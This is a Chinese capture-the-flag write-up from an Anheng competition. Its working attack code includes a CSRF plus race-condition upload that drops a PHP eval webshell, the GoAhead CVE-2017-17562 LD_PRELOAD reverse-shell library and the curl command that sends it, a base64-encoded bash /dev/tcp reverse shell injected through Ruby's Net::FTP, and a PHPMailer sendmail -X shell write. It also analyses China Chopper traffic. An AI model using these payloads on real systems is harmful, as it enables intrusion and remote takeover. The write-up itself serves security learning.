首先感谢下安恒举办的比赛,还有大神们的讲解,学习了


再来个友情链接

发现.git泄漏,拿到源码

发现上传文件,代码审计

if(!isset($_SESSION['user']) || $_SESSION['user'] != USERNAME){
	die('Access Denied');
}
...
...
$ext = getExt($_FILES['file']['name']);
	$filename = './upload/temp/'.$flid.$ext;
	$dst = './upload/images/'.$flid.'.jpg';
	move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
	if(file_exists($filename)){
		try {
			if(file_exists($dst))
				@unlink($dst);
			resizeimg($filename, $dst, 100, 50);
		}catch(Exception $e){
			echo 'Caught exception: ',  $e->getMessage(), "\n";
		}
	}

发现upload.php里面的条件竞争漏洞,先上传文件再删除文件。但是程序开头会检查权限,需要登录后才能操作。因此解题思路为结合CSRF+条件竞争。

因为程序添加友情链接时候会先去访问这个文件

所以我们可以写个自动上传文件的js,利用csrf去上传绕过user判断,然后利用时间差,在还没删除temp文件时快速去访问/temp上传成功的php,并自动创建一个一句话shell

poc:

<html>
    <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://http://192.168.5.76/upload.php?"+Math.random(), true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en,zh-CN;q=0.9,zh;q=0.8");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryfJEbEkHoV22zBdaM");
        xhr.withCredentials = "true";
        var body = "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"321.php\"\r\n" +
          "Content-Type: application/x-php\r\n" +
          "\r\n" +
          "<?php file_put_contents('abc.php', '<?php eval($_GET[a]);?>');?>\r\n" +
          "\r\n" +
          "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
          "Content-Disposition: form-data; name=\"flid\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
          "Content-Disposition: form-data; name=\"submit\"\r\n" +
          "\r\n" +
          "上传\r\n" +
          "------WebKitFormBoundaryfJEbEkHoV22zBdaM--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
<script>
	var html = '';
	for(var k=0; k<1000; k++){
		html = html + '<script>submitRequest();<\/script>';
	}
	document.write(html);
</script>
  </body>
</html>

多线程访问,或者用burp也行

#!/usr/bin/env python2
# coding: utf-8

import requests
import thread
import sys

url = 'http://192.168.5.76/upload/temp/321.php'
threads = 2
locks = []
done = False

def get(url):
	try:
		r = requests.get(url, timeout=1)
	except:
		r = False
	if r:
		return r.status_code
	else:
		return 500

def job(t, url, lock):
	while (not done):
		c = get(url)
		if c == 200:
			print '200'
	lock.release()

def main():
	for i in xrange(threads):
		try:
			lock = thread.allocate_lock()
			lock.acquire()
			locks.append(lock)
			thread.start_new_thread(job, (i, url, lock))
		except:
			print 'Fail to start new thread'
	for lock in locks:
		while lock.locked():
			pass;
	print 'Done'

main()

比较坑的是复现时候太艰难了…

上一张官方提供的最后成功图

 

GOGOGO

扫描端口发现8080 响应头为GoAhead 找到一个RCE(CVE-2017-17562 )

poc:

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "172.17.0.1"
#define REMOTE_PORT 4444

static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    write(1, "Hello: World!\n", 14);
}
 $ gcc -shared -fPIC ./poc.c -o poc.so
$ nc -lvp 4444

漏洞利用

$ curl -X POST --data-binary @poc.so http://xxx:8080/cgi-bin/hello.cgi? LD_PRELOAD=/proc/self/fd/0 -i

拿到shell获取flag

 

与时俱进2

打开目标站点,通过错误连接信息 NET::FTP error 判断是ruby 联想到NET::FTP的rce

https://www.exploit-db.com/exploits/43381/

def gettextfile(remotefile, localfile = File.basename(remotefile),
                &block) # :yield: line
  f = nil
  result = nil
  if localfile
    f = open(localfile, "w") # Vulnerable code here. open("| os command","w")
  elsif !block_given?
    result = String.new
  end
The `localfile` value will trigger command execution if the value is `| os command`. In general use, most users would likely provide their own localfile value and would not rely on the default of `File.basename(remotefile)`; however, in some situations, such as listing and downloading all files in a FTP share, the remotefile value would be controlled by the remote host and could thus be manipulated into causing RCE. Since the file path is simply a string returned by the server (either `ls -l` style for the `LIST` command, or filenames for `NLIST`), there is no need/guarantee that filename will be a valid filename.

 

可以看到ruby在获取文件名时直接传入open会导致命令注入

搭建一个ftp

#!/usr/bin/env python2
# coding: utf-8

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

#实例化虚拟用户,这是FTP验证首要条件
authorizer = DummyAuthorizer()

#添加用户权限和路径,括号内的参数是(用户名, 密码, 用户目录, 权限)
authorizer.add_user('ftp', 'ftp', '/tmp/ftp', perm='elradfmw')

#初始化ftp句柄
handler = FTPHandler
handler.authorizer = authorizer

#添加被动端口范围
handler.passive_ports = range(2000, 2333)

#监听ip 和 端口
server = FTPServer(('0.0.0.0', 21), handler)

#开始服务
server.serve_forever()

之后可以去访问ftp反弹shell

可以先测试一下是否可以成功运行命令

ok

又因为文件名不能有/ 空格之类,所以一个套路就是我们可以搭建一个站,用curl访问获得反弹shell

类似下面的效果

然后监听

nc -lvp 2333

反弹成功

比赛的环境是没有curl的,所以另一种方法是利用base64绕过

touch |echo${IFS}YmFzaCAtaSA+JiAgL2Rldi90Y3AvMTkzLjExMi4xMy4xMzEvMzAwMCAwPiYx|base64${IFS}-d|bash

 

经典留言板

 

题目看后首先尝试xss无果,发现存在源码泄漏

下载源码开始审计

主要发现问题出在mail函数 可以参考PHPMailer 命令执行漏洞(CVE-2016-10033)

这里$options参数可控可以造成命令执行

其中option为email传值,而且只简单判断了一下email是否存在@

当我们email=xxx@xxx.com 时后端处理为

$email = '-fxxx@xxx.com‘

看一下帮助手册 寻找利用参数

-x可以存入日志文件,其内容即为我们信件内容,这相当于我们可以直接往服务器写入文件

需要注意的是,利用这个参数我们是无法控制目录的,因为没有root权限,所以这里需要利用queueDirectory

 

构造如下请求,写入一句话shell

后端处理email为

$email = '-ftest@123.com -OqueueDirectory=/ -Xa.php'

查看一下是否成功

执行shell

 

 

 

菜刀666

签到题,思路应该是比较清晰,不过要做出来也得多走几步,自己中间也傻了一下…

首先是个流量分析,具体也不多说了

首先可以看到是base64加密的,我们解密后看大致做过的操作

基本是写入,或者查看目录之类的,看回显也可以知道

找到关键操作

写入了一个文件,z2参数内容是文件加密后的样子

我们根据源码还原一下

大致改动一下 因为输出是JFIF 所以我们直接保存为jpg

打开图片

本来以为结束了,结果提交flag不对

接着往下看

又写入了一个文件hello.zip,我们用hex保存并去掉没用的头和尾

 

可以看到flag在压缩包里面

 

然后解压,用上面得到的pwd输入密码